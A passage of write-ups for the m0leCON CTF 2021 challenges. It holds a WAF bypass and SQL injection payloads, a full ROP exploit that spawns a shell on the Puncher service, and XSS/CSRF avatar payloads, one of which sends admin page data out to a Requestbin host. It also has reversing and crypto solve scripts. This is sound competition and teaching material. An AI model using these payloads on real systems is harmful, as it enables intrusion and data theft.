m0leCON CTF 2021
Waffle (28 solves, 165 points)
by 0xkasper
We needed to upgrade this app but no one here can code in Go. Easy fix: just put a custom waf in front of it.
Author: Xato
In the attachments we have 2 files: main.go and waf.py. The main.go file is the main webserver that runs the Waffle application. The waf.py is running as a WAF in front of it and forwards requests if they're not malicious.
When going to the main web application at http://waffle.challs.m0lecon.it/
we see that no data loads, only an error message that says we need a valid token.
At the token page at http://waffle.challs.m0lecon.it/gettoken.html
we can fill in a credit card and promo code. Filling in random stuff gives you an error message.
From the code in main.go, we see that if the promo code is equal to 'FREEWAF', we can receive a token. However, the WAF also checks for this value at line and makes it return 'Coupon expired'.
The WAF is made in Python Flask and first checks whether 'gettoken' is in the path and then checks the creditcard and promo query arguments. If promo is not equal to 'FREEWAF', it will forward the request to the Go webserver. By making the parameters part of the path using encoding, we can trick it in thinking there are no arguments, but when it decodes the path and forwards, the arguments suddenly appear:
http://waffle.challs.m0lecon.it/gettoken%3fcreditcard=1234%26promocode%3dFREEWAF
Now we have a token: LQuKU5ViVGk4fsytWt9C, and we can make requests at the front page.
After a quick look at the Go application, it's obviously vulnerable to SQL injection. Parameters are directly inserted into queries.
However, the WAF checks the parameters for type and alphanumeric characters.
It does this by parsing the data to JSON and checking each of the three arguments.
The JSON parser differs from the one in the Go application: if we add a parameter with the same name, the WAF will take last one, while the Go application will take the first one. If we make the last one valid and the first one a SQL injection payload, we can bypass the WAF:
Sending {"name":"'","min_radius":1,"max_radius":1000,"name":"Big"}
gives a database error.
We already know it returns 4 columns and we know it's SQLite from the Go code, so:
{"name":"Small' UNION SELECT name,1,1,1 FROM sqlite_master WHERE type='table'--","min_radius":1,"max_radius":1000,"name":"Big"}
returns all the tables: flag
, sqlite_sequence
and waffle
.
By guessing the column name flag
in table flag
:
{"name":"Small' UNION SELECT flag,1,1,1 FROM flag--","min_radius":1,"max_radius":1000,"name":"Big"}
We get the flag: ptm{n3ver_ev3r_tru5t_4_pars3r!}
Puncher - (10 solves, 332 points)
by tcode2k16
We're back in the 60s!
nc challs.m0lecon.it 2637
Author: Alberto247
The challenge provides three files: a Fortran program chall.f90
, the compiled binary puncher
, and the Fortran runtime library libgfortran.so.5
.
Since I'm not very familiar with Fortran the programming language, I decided to just throw the binary into afl++ using qemu mode and see if it can find any crashes:
# AFL_PRELOAD=./libgfortran.so.5 ./afl-fuzz -Q -i ./input/ -o ./output/ -- ./puncher
american fuzzy lop ++3.13a (default) [fast] {0}
┌─ process timing ────────────────────────────────────┬─ overall results ────┐
│ run time : 0 days, 0 hrs, 0 min, 57 sec │ cycles done : 0 │
│ last new path : 0 days, 0 hrs, 0 min, 8 sec │ total paths : 56 │
│ last uniq crash : 0 days, 0 hrs, 0 min, 2 sec │ uniq crashes : 1 │
│ last uniq hang : none seen yet │ uniq hangs : 0 │
├─ cycle progress ───────────────────┬─ map coverage ─┴──────────────────────┤
│ now processing : 0.0 (0.0%) │ map density : 0.23% / 0.33% │
│ paths timed out : 0 (0.00%) │ count coverage : 3.19 bits/tuple │
├─ stage progress ───────────────────┼─ findings in depth ───────────────────┤
│ now trying : havoc │ favored paths : 1 (1.79%) │
│ stage execs : 8226/32.8k (25.10%) │ new edges on : 31 (55.36%) │
│ total execs : 10.2k │ total crashes : 1 (1 unique) │
│ exec speed : 153.3/sec │ total tmouts : 2 (2 unique) │
├─ fuzzing strategy yields ──────────┴───────────────┬─ path geometry ───────┤
│ bit flips : disabled (default, enable with -D) │ levels : 2 │
│ byte flips : disabled (default, enable with -D) │ pending : 56 │
│ arithmetics : disabled (default, enable with -D) │ pend fav : 1 │
│ known ints : disabled (default, enable with -D) │ own finds : 55 │
│ dictionary : n/a │ imported : 0 │
│havoc/splice : 0/0, 0/0 │ stability : 100.00% │
│py/custom/rq : unused, unused, unused, unused ├───────────────────────┘
│ trim/eff : 0.00%/1, disabled │ [cpu000: 62%]
└────────────────────────────────────────────────────┘
The results are better than I expected and AFL found a crash in no time. I then used afl-tmin
to get a minimized test case to look at:
# AFL_PRELOAD=./libgfortran.so.5 ./afl-tmin -Q -i ./output/default/crashes/id\:000000\,sig\:11\,sr\:000000\,time\:54754\,op\:havoc\,rep\:2 -o crash-min -- ./puncher
# cat crash-min
10100000
0
And sure enough, entering the same input leads to a crash:
──────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd258│+0x0000: 0x2020202020202020 ← $rsp
0x00007fffffffd260│+0x0008: 0x2020202020202020
0x00007fffffffd268│+0x0010: 0x2020202020202020
0x00007fffffffd270│+0x0018: 0x2020202020202020
0x00007fffffffd278│+0x0020: 0x2020202020202020
0x00007fffffffd280│+0x0028: 0x2020202020202020
0x00007fffffffd288│+0x0030: 0x00007fffffff2020 → 0x0000000000000000
0x00007fffffffd290│+0x0038: 0x00000001fffffffe
────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401f89 <MAIN__+377> add rsp, 0x268
0x401f90 <MAIN__+384> pop rbx
0x401f91 <MAIN__+385> pop rbp
→ 0x401f92 <MAIN__+386> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "puncher", stopped 0x401f92 in MAIN__ (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f92 → MAIN__()
───────────────────────────────────────────────────────────────────────────────────────
gef➤
The gdb output suggests that the crash is caused by some sort of stack overflow which is perfect for us to exploit.
Now going back to the Fortran source code, we can quickly spot the issue:
PROGRAM puncher
...
INTEGER(2) :: A,B, C
...
CALL readInt(B)
...
END PROGRAM
SUBROUTINE readInt(I)
read(*,*) I
END SUBROUTINE
__int64 __fastcall readint_(__int64 a1)
{
int v2; // [rsp+10h] [rbp-210h]
int v3; // [rsp+14h] [rbp-20Ch]
const char *v4; // [rsp+18h] [rbp-208h]
int v5; // [rsp+20h] [rbp-200h]
v4 = "chall.f90";
v5 = 27;
v2 = 128;
v3 = 5;
_gfortran_st_read((__int64)&v2);
_gfortran_transfer_integer(&v2, a1, 4LL);
return _gfortran_st_read_done(&v2);
}
The readint_
function is reading 4 bytes into the stack variable B
which only has a size of 2 bytes. The 2 extra bytes overwrite variable A
which is next to B
.
PROGRAM puncher
...
DO C=1,B
...
CALL readString(X, A)
...
END DO
END PROGRAM
SUBROUTINE readstring(S,L)
INTEGER(2) :: L
CHARACTER(len=L) :: S
read(*,"(A)") S
END SUBROUTINE
And since A
is used to determine how many bytes to read into X
, we can get a stack-based overflow from it.
gef➤ checksec
[+] checksec for '/home/alanc/CTF/2021/m0lecon/Puncher/puncher/puncher'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
There's no PIE enabled on the binary so we are able to craft ROP chains to get code execution. My exploit includes two stages:
- stage one leaks the libc base address from the
__libc_start_main
entry in GOT by reusing the convenientprint_card_
method - stage two call
system("/bin/sh")
to get shell
The full exploit code is as follows:
from pwn import *
import sys
from hashlib import sha256
argv = sys.argv
DEBUG = True
BINARY = './puncher'
context.binary = BINARY
context.terminal = ['kitty', '@', 'new-window', 'bash', '-c']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
sh = remote('challs.m0lecon.it', 2637)
data = sh.recvuntil('.\n')
data = data.split(' ')
prefix = data[6]
goal = data[-1][:-2]
print prefix
print goal
i = 0
while True:
v = sha256((prefix+str(i))).hexdigest()
# print(v)
if v[-5:] == goal:
print(prefix+str(i))
sh.sendline(prefix+str(i))
break
i += 1
REMOTE = True
print_card_addr = 0x4016A2
main_addr = 0x401F93
libc_start_main_got = 0x0000000000404ff8
# 0x0000000000402033: pop rdi; ret;
pop_rdi = 0x0000000000402033
# 0x0000000000402031: pop rsi; pop r15; ret;
pop_rsi_r15 = 0x0000000000402031
# stage 1
payload = 'a'*64
payload += p16(1)*20
payload += flat(
pop_rdi, libc_start_main_got,
pop_rsi_r15, libc_start_main_got, libc_start_main_got,
print_card_addr,
main_addr
)
sh.sendlineafter('?\n', str(0xfa0001))
sh.sendlineafter('1\n', payload)
sh.recvuntil('___/\n') # ignore
data = sh.recvuntil('___/\n')
data = data.strip().split('\n')[2]
libc_base = u64(data[2:10])- 0x1fc0-0x25000
system_addr = libc_base + 0x55410
bin_sh_addr = libc_base + 0x1b75aa
print hex(libc_base)
# stage 2
payload = 'a'*64
payload += p16(1)*20
payload += flat(
pop_rdi, bin_sh_addr,
system_addr
)
sh.sendlineafter('?\n', str(0xfa0001))
sh.sendlineafter('1\n', payload)
sh.interactive()
flag: ptm{R3t_t0_l1b_gf0rtr4n_1s_much_b3tter_th4n_ret_2_l1bc!}
Proof-of-Work (264 solves, 57 points)
by JaGoTu
In this challenge you simply need to solve a proof-of-work. The proof-of-work will be the same for most of the challenges, so we provide you with a template in Python to solve it. Simply run it to get this flag.
This solver is not the fastest possible, so you can write your own, but you won't receive any support on it.
You can solve the challenge manually at:
nc challs.m0lecon.it 1337
Happy Hacking!
We get a pow_template.py
file. We run it.
$ python3 pow_template.py
[+] Opening connection to challs.m0lecon.it on port 1337: Done
Solving PoW...
Solved!
[*] Switching to interactive mode
ptm{w3lc0me_t0_m0lecon_2021_t34ser_ctf_chall3ng3_++++}
[*] Got EOF while reading in interactive
parallel-the-m0le (11 solves, 301 points)
by JaGoTu
I was playing with some parallel programming but I'm so bad with it that I lost the flag, can you help me recover it?
Output: 2aad2e5a49fb2d9adb908dd00eb48c8a6607ab619f75b0272f3c1eb33fe9edaf
Author: spicyNduja
We get a chall
file:
$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=09a5be5a3d5bf899a01af46d34e656d751051e98, for GNU/Linux 3.2.0, not stripped
Let's start reversing with main()
:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+14h] [rbp-1Ch]
int j; // [rsp+14h] [rbp-1Ch]
int k; // [rsp+14h] [rbp-1Ch]
int l; // [rsp+14h] [rbp-1Ch]
int m; // [rsp+14h] [rbp-1Ch]
pthread_t *pthreads; // [rsp+18h] [rbp-18h]
threadstruct *threads; // [rsp+20h] [rbp-10h]
if ( argc != 2 )
{
puts("Plz give me something :(");
exit(1);
}
if ( strlen(argv[1]) != 16 )
{
puts("I don't like the size of this input :(");
exit(2);
}
strcpy(flagbuff, argv[1]);
mutex = (pthread_mutex_t *)malloc(0x28uLL);
cv = (pthread_cond_t *)malloc(0x30uLL);
if ( pthread_mutex_init(mutex, 0LL) || pthread_cond_init(cv, 0LL) )
{
puts("something wrong happened");
exit(3);
}
pthreads = (pthread_t *)malloc(0x70uLL);
threads = (threadstruct *)malloc(0xE0uLL);
printf(
"%s\n\n",
"\n"
"\n"
"\n"
" _____ _ _ _ _______ _ __ __ ___ _ \n"
" | __ \\ | | | | |__ __| | | \\/ |/ _ \\| | \n"
" | |__) |_ _ _ __ __ _| | | ___| | | | | |__ ___| \\ / | | | | | ___ \n"
" | ___/ _` | '__/ _` | | |/ _ \\ | | | | '_ \\ / _ \\ |\\/| | | | | |/ _ \\ \n"
" | | | (_| | | | (_| | | | __/ | | | | | | | __/ | | | |_| | | __/ \n"
" |_| \\__,_|_| \\__,_|_|_|\\___|_| |_| |_| |_|\\___|_| |_|\\___/|_|\\___| \n"
" \n"
" \n");
printf("doing some quantistic machine learning crypto");
for ( i = 0; i <= 4; ++i )
{
sleep(1u);
fflush(stdout);
putchar(46);
}
puts("\n\n");
v3 = time(0LL);
srand(v3);
for ( j = 0; j <= 13; ++j )
{
threads[j].threadindex = j;
threads[j].pthread = pthreads[j];
pthread_create(&pthreads[j], 0LL, (void *(*)(void *))wrapper, &threads[j]);
}
for ( k = 0; k <= 13; ++k )
pthread_join(pthreads[k], 0LL);
print_str((__int64)flagbuff, 16LL, 0);
ord_ind = 0;
strcpy(flagbuff, argv[1]);
for ( l = 0; l <= 13; ++l )
{
threads[l].threadindex = l;
threads[l].pthread = pthreads[l];
pthread_create(&pthreads[l], 0LL, (void *(*)(void *))wrapper2, &threads[l]);
}
for ( m = 0; m <= 13; ++m )
pthread_join(pthreads[m], 0LL);
pthread_mutex_destroy(mutex);
pthread_cond_destroy(cv);
print_str((__int64)flagbuff, 16LL, 1);
putchar(10);
return 0;
}
So, first the flag is checked for being exactly 16 bytes long. After rand is seeded, 14 threads are created running wrapper
, creating the first 16 bytes of output. Afther that, the flagbuff is restored to the input, and another 14 threads are created running wrapper2
, creating the last 16 bytes of output.
Let's look at those wrapper functions:
void __fastcall __noreturn wrapper(threadstruct *a1)
{
int v1; // eax
int v2; // eax
v1 = rand();
usleep(v1 % 1000);
pthread_mutex_lock(mutex);
v2 = ord_ind;
if ( ord_ind > 6 )
{
++ord_ind;
order[20 - v2] = a1->threadindex;
}
else
{
++ord_ind;
order[v2] = a1->threadindex;
}
((void (__fastcall *)(char *, unsigned __int64))funcs[a1->threadindex])(flagbuff, 16uLL);
pthread_mutex_unlock(mutex);
pthread_exit(0LL);
}
void __fastcall __noreturn wrapper2(threadstruct *a1)
{
pthread_mutex_lock(mutex);
while ( order[ord_ind] != a1->threadindex )
pthread_cond_wait(cv, mutex);
((void (__fastcall *)(char *, unsigned __int64))funcs[a1->threadindex])(flagbuff, 0x10uLL);
++ord_ind;
pthread_cond_broadcast(cv);
pthread_mutex_unlock(mutex);
pthread_exit(0LL);
}
In the first run, the threads will wake up in a random order (thanks to usleep(v1 % 1000)
), write themselves into the order
array and call their respective function on the flagbuff. In the second run, the threads are run in the order of the order
array, also calling their function on flagbuff.
What this causes is that we get two outputs generated by two different function chains:
wrapper: A->B->C->D->E->F->G -> H->I->J->K->L->M->N
wrapper2: A->B->C->D->E->F->G -> N->M->L->K->J->I->H
To be able to get the plaintext from the provided output, we need to reverse engineer and invert all the funcs. As they are mostly small loops, I won't describe the process here, you can check the inverses in the resulting python script.
Now, trying all 14! = 87178291200 possible chains on the output we got doesn't sound too practical. However, we can notice that the first half of the chain is identical. That means that using a chain of N'->M'->L'->K'->J'->I'->H'
on the first output and H'->I'->J'->K'->L'->M'->N'
on the second output (the tick denoting transformation inverse), we should get the same result - a kind of a meet-in-the-middle attack. Bruteforcing all permutations of 7 out of 14 = 17297280 different options sounds way more doable. To make the bruteforce parallel, I took the first element of the chain as an argument, effectively spreading the workload to 14 cores.
revs = [rev_1, rev_2, rev_3, rev_4, rev_5, rev_6, rev_7, rev_8, rev_9, rev_10, rev_11, rev_12, rev_13, rev_14]
target = binascii.unhexlify("2aad2e5a49fb2d9adb908dd00eb48c8a6607ab619f75b0272f3c1eb33fe9edaf")
target1 = target[:16]
target2 = target[16:]
def run_on(text, order):
buf = list(text)
for step in order:
revs[step](buf)
#print(hexdump(bytes(buf)))
return bytes(buf)
iter=0
possibles = list(range(14))
start = int(sys.argv[1])
possibles.remove(start)
for i in itertools.permutations(possibles, 6):
perm = (start, ) + i
iter +=1
if(iter % 100000 == 0):
print(iter)
middle1 = run_on(target1, perm)
middle2 = run_on(target2, perm[::-1])
if(middle1 == middle2):
print(middle1)
print(i)
$ for i in {0..13}; do python3 paramoly.py $i | tee -a out_$i & done
[...]
$ cat out* | grep '^(' -B 1
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(8, 13, 3, 9, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(8, 13, 9, 3, 11, 6)
--
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(7, 13, 3, 9, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(7, 13, 9, 3, 11, 6)
--
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 1, 7, 9, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 1, 9, 7, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 3, 1, 9, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 3, 9, 1, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 7, 3, 9, 11, 6)
--
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 7, 9, 3, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 9, 1, 7, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 9, 3, 1, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 9, 7, 3, 11, 6)
Unfortunately the second half of the chain is not definite, having multiple possibilities, but the value of the flag in the middle of processing has only one possible value. We could run the same bruteforce for the first half of the chain, but I made it a bit lighter by observing that the functions 6, 9, 11 and 13 were definitely used in the second half of the chain and can't be used in the first, resulting in just 604800 options, which can easily run single threaded. Here is the full final script:
import binascii
import itertools
import sys
def rev_13(buff):
for i in range(16):
buff[i] = (buff[i]-i) & 0xFF
def rev_14(buff):
for i in range(16):
if buff[i] > 0x40 and buff[i] <= 0x5a:
buff[i] += 0x20
elif buff[i] > 0x60 and buff[i] <= 0x7a:
buff[i] -= 0x20
def rev_12(buff):
for i in range(16):
buff[i] = (i ^ (~buff[i])) & 0xFF
def rev_11(buff):
for i in range(16):
bits = "{0:08b}".format(buff[i])
orig = bits[0]+bits[4]+bits[1]+bits[5]+bits[2]+bits[6]+bits[3]+bits[7]
buff[i] = int(orig, 2)
def rev_10(buff):
for i in range(16):
buff[i] = ((16*buff[i]) | (buff[i]>>4)) & 0xFF
def rev_9(buff):
for i in range(16):
buff[i] = (buff[i]-42) & 0xFF
def rev_8(buff):
for i in range(8):
(buff[i], buff[15-i]) = (buff[15-i], buff[i])
def rev_7(buff):
for i in range(16):
bits = "{0:08b}".format(buff[i])
orig = bits[::-1]
buff[i] = int(orig, 2)
def rev_6(buff):
for i in range(16):
buff[i] = (~buff[i]) & 0xFF
xorkey = "{reverse_fake_flag}ptm".encode()
def rev_5(buff):
for i in range(16):
buff[i] = (buff[i] ^ xorkey[i]) & 0xFF
def rev_4(buff):
for i in range(8):
buff[15-i] = (buff[i] ^ buff[15-i]) & 0xFF
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def rev_3(buff):
for i in range(16):
buff[i] = (ror(buff[i], i%8, 8))
def rev_2(buff):
for i in range(8):
buff[i] = (buff[i] ^ buff[15-i]) & 0xFF
def rev_1(buff):
for i in range(0, 16, 4):
tmp = buff[i:i+4]
buff[i] = tmp[3]
buff[i+1] = tmp[0]
buff[i+2] = tmp[2]
buff[i+3] = tmp[1]
revs = [rev_1, rev_2, rev_3, rev_4, rev_5, rev_6, rev_7, rev_8, rev_9, rev_10, rev_11, rev_12, rev_13, rev_14]
target = binascii.unhexlify("2aad2e5a49fb2d9adb908dd00eb48c8a6607ab619f75b0272f3c1eb33fe9edaf")
target1 = target[:16]
target2 = target[16:]
def run_on(text, order):
buf = list(text)
for step in order:
revs[step](buf)
#print(hexdump(bytes(buf)))
return bytes(buf)
iter=0
possibles = list(range(14))
possibles.remove(11)
possibles.remove(6)
possibles.remove(9)
possibles.remove(13)
middle = b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
for i in itertools.permutations(possibles, 7):
perm = i
iter +=1
if(iter % 10000 == 0):
print(iter)
result = run_on(middle, perm)
if b'ptm{' in result:
print(result)
$ python3 paramoly.py
10000
20000
30000
40000
50000
60000
70000
80000
90000
100000
110000
120000
130000
140000
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
b'ptm{brut3_f0rc3}'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
b'ptm{brut3_f0rc3}'
b'ptm{brut3_f0rc3}'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
150000
160000
170000
180000
190000
[...]
ptm{brut3_f0rc3}
is the flag!
Obscurity (10 solves, 316 points)
by y011d4
Security through obscurity. Seems good, right?
nc challs.m0lecon.it 2561
Author: mr96
In this challenge, random bits are generated using multiple LFSRs, with unknown taps and lengths. FLAG is xored by those bits.
Other than Obsucurity-fixed
, we can send prefixes within 1000 characters many times.
As the other challenge's name implies that this challenge includes bugs, the check for periodic
sometimes works in an unintended way.
kk = key.hex()
if kk.count(kk[-6:]) == 1:
periodic = False
This check works only when the period of LFSRs rands are multiple of 8. So all we have to do is collect the data which meat the following condition:
- with long prefix (
\x00
* 1000 for brevity) - with the long period, which is not multiple of 8
I ran this script a few times.
import re
from binascii import unhexlify
from hashlib import sha256
from itertools import product
from pwn import *
_r = remote("challs.m0lecon.it", 2561)
ret = _r.recvline().strip().decode()
prefix, suffix = re.findall(
r"Give me a string starting with (.+) such that its sha256sum ends in (.+).", ret
)[0]
for i_list in product(list(range(32, 128)), repeat=4):
c_list = list(map(chr, i_list))
tmp = prefix + "".join(c_list)
tmp_hash = sha256(tmp.encode()).hexdigest()
if tmp_hash[-len(suffix):] == suffix:
print("found!")
_r.sendline(tmp)
break
_ = _r.recvline()
_r.sendline(b"00" * 1000)
print(_r.recvline().strip())
I got the result which meats the condition as mentioned above and decoded it.
res = "0035fc5465ac4967e515bf395e091a1ea15e8fb41c1c377fe7e9d6f51bed0ca7d3a82aa4ebadc1b141441bd1b7e24fcb92c2f78247b65acbbf12d48ef2c7562970b0c9d2674daed6544162e0cb7e5df28b7b7692883f8c1de6cb38e844045263b2a40e33e17b041ca41aad59b1281d122d5f4fb7ac09757534f8285de14f0883d4824a9fa7d0abee010b0dcfefd2e98b2523708ef9730b65a2e4e0a2515702f3bd985b81c54355f2f5ed9584e325073c84e0d44a4422543408d52fac06b096cb34af9e4ca6d6aea6c697ed27302be85690313256709b6154c8780c9a0f054cd60c628766cf4fd38da6997b11d50c2a2f7b65b024e5405b34dff8334ba442b04237edaa0208c9fa27a654dc1135bf34c0a44900bfed2aff53e791547ef1e35501784a4783388b15db122ee50a111243fa03afbd80adea7f32c52c9809b139cd0d05daded4372a489d8c46d9d5d25a1b16848cd033c381aebf9bd2d2976db63a0a26796e92eef9ad8a08a49f1e973e0cd30dc91e0044684a806b0169c9e8a37b1dfd730cb12b1ea71f9b04fed2f5fc653fb26834b09782b6e94d24c6efcb1f78d1a64689cda4aa73665f728faa715a0001f55e138b0076f35cdfeddabe63112f46125e9bfdad270468bd734dabffc4a0e5585dfe6aba3e1b279a5e8350e2e97fc7a52630520372c1ec88c9b6619bfa567b4a08175a795024ec6cfe2ae615410f93bce2208c74a96beda562a9a39cce7826c4cb36260dd823536da3acbe97a593a685e5a741ec758403f23d7456359f73bfb805daeb889696dfa3cafb16ef5f77a66cd0e4f95877be1ba88f8fc6605621d548226f9128c90d1099efd77abf32691f66fe9c1e7342e406b9158a3d59264adf44c345e0f6e898ea8c2856e36b3c9269e13f973991f34cb9f7ff38f21378512dbdd974273dfb6dd948192083dacbdc058d275fcfad8675baec3e85b7ed62defbb8e1d9018892f0bd706d6f96ca6272d7940c886b93959da0c33225883ad9f9c76fec5adceff3bed7fa193a01aa42b2ef7fda94bbc902f6403d3a2a23902c5ba5ec83bdaa588fe5f46094c33ebd6ff7f88dec740aee501189df1893f6e80acf20d1baac232f40c79722faab62a33f87a4785947a6dc1836c04220a5fd48dac0d7f15196b1259f9456fce57824687a857a3ed07070ddff9fa75bd46fb4329f4ea0aa93aeb706c505106f46df893f2e4b0bde091ed96b2efc4b523bcb1d58a5c2c327499d36bb5951058b832df977ca2dedda4a20fe30779b2ce3a11011498eca9038cf85ec1072906ab566c4a07448b57d3edeb025d5d4d3e0a177853c220f52092a7e9f42afb8042c373fbf4ba62c948dc23be5cc2d968b938289455c0bcef6616e07150d57cbd7b656138c941cf213835129108950d02354cec477b92b40e18a4c01c42889eb2a2d83c3b99fd4281fb1a768ac5ab63d45d356370b256c185cf824ad40"
assert len(res) == 2086
res_bits = f"{int(res, 16):08344b}"
# It's checked manually
assert res_bits[6530:6630] == res_bits[20:120]
ans = []
for a, b in zip(map(int, res_bits[6530:]), map(int, res_bits[20:2020])):
ans.append(a ^ b)
ans = ans[-43 * 8 :]
print(bytes.fromhex(hex(int("".join(map(str, ans)), 2))[2:]))
ptm{pl3453_r3p0r7_y0ur_un1n73nd3d_70_@mr96}
m0lefans (32 solves, 149 points)
by 0xkasper
I was concerned my friends would find my private page, so I created my own clone where you can only follow people who give you their profile's link!
Go, post photos of your private ventilator without fear!
Authors: Alberto247, Xato
This challenge consists of an OnlyFans clone called m0lefans. When registering for an account, we see that we have a random UID as subdomain, which is also our private page. In settings we can change this UID, user information, avatar, as well as our page's visibility (public or private). We can post images with a text and it'll show up on our profile. There is a feed page with all public profile's posts and a search function.
However, the most important function is the 'Report a post to the admin' button on the bottom. This form allows you to submit a URL. After submitting my Requestbin, I indeed get a hit and it confirms (blind) SSRF. Afterwards I upload a simple HTML page to my website and make Javascript redirect to my Requestbin. I again get a hit, confirming that the page is rendered and Javascript is executed.
On the site, only the settings form has CSRF protection. The follow, unfollow, like, etc. functionalities don't. Most even use GET instead of POST.
By submitting https://3ae54fb5-5881-47a5-97bd-df3c86f6e54f.m0lecon.fans/profile/follow
(where 3ae54fb5-5881-47a5-97bd-df3c86f6e54f
is my UID) as URL report, I get the admin to request a follow. This only gives you the username of the admin, not yet their subdomain.
From the description, we can gather that the goal is to find the admin's subdomain. However, in order to retrieve information from the blind SSRF with JS, we need to find an XSS. Luckily there is one: the image upload functionality (for post and avatar) only checks the byte signature of the file, so we can upload HTML files.
If we upload the following XSS payload as avatar:
GIF89a
<html>
<body>
<form method="POST" action="https://requestbin.net/r/fhi4tmg0">
<input id="html" type="text" name="html">
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
let id = this.responseText;
document.getElementById("html").value = id;
document.forms[0].submit();
}
xhr.open("GET", "https://m0lecon.fans/feed/new");
xhr.send();
</script>
</body>
</html>
This will put the payload at https://m0lecon.fans/static/media/avatars/3ae54fb5-5881-47a5-97bd-df3c86f6e54f.html
.
This payload is at the main domain, while the authentication cookie is scoped to a subdomain, so we can't retrieve the admin's credentials. However, we can make a request to a page on the main domain, such as /feed/new and from there grab the admin's subdomain from the returned HTML.
The HTML is sent to the Requestbin and we can see the admin's subdomain there:
https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/
When viewing this page in the browser, we can request to follow it, but the admin still has to accept the follow.
But thanks to no CSRF protection and the blind SSRF, we can make the admin accept us.
Accepting a follow request is simply done through a POST request to /profile/request, with an id
parameter containing a user ID.
Your user ID can be figured out by creating a second account, requesting a follow and viewing the request when accepting it.
Then we can upload this as avatar:
GIF89a
<html>
<body>
<form method="POST" action="https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/request">
<input type="text" name="id" value="47">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
And report the avatar URL again, so the admin will view it and consequently accept our follow request due to the CSRF.
After that we can access the admin's posts and find the flag as post title:
ptm{m4k3_CSP_r3ports_gr3a7_4gain!}
Molang (5 solves, 406 points)
by JaGoTu
A friend of mine developed this brand new interpreter, do you want to play with it?
Author: matpro
We get a chall
file:
$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=15a0d9198a5ce75bb5b39e0197e3c64b71ec137e, not stripped
When running it, we get a REPL shell of m0lang:
$ ./chall
m0lang 0.1 (May 14 2021, 19:00:00)
Type 'help "<command>"' or 'help <value>' for more information.
m0lang> help
[line 2] Error at end: Expect expression.
m0lang> flag;
8GG8!d8W88ݫe!88ѫd5ˉ5G
m0lang>
After a while of staring into IDA, I recognized that the interpreter is a modified version of the clox
interpreter from
the Crafting interpreters book (source available on Github). I got lucky, as I read the book as part of preparations for my bachelor's thesis, but even if you never heard about it, it is always a good idea to try to google for some error messages in the binary, in case it's a modified open source project. For example here searching for the Can't read local varaible in its own initializer.
error message would lead you directly to the project, with the varaible
typo intact, which is a good indicator that it's based on clox
.
Once I knew that, I started renaming procedures and creating structures in IDA based on the clox
source code. clox
works by parsing the raw source, compiling it into bytecode and then executing such bytecode. One of the added features to molang
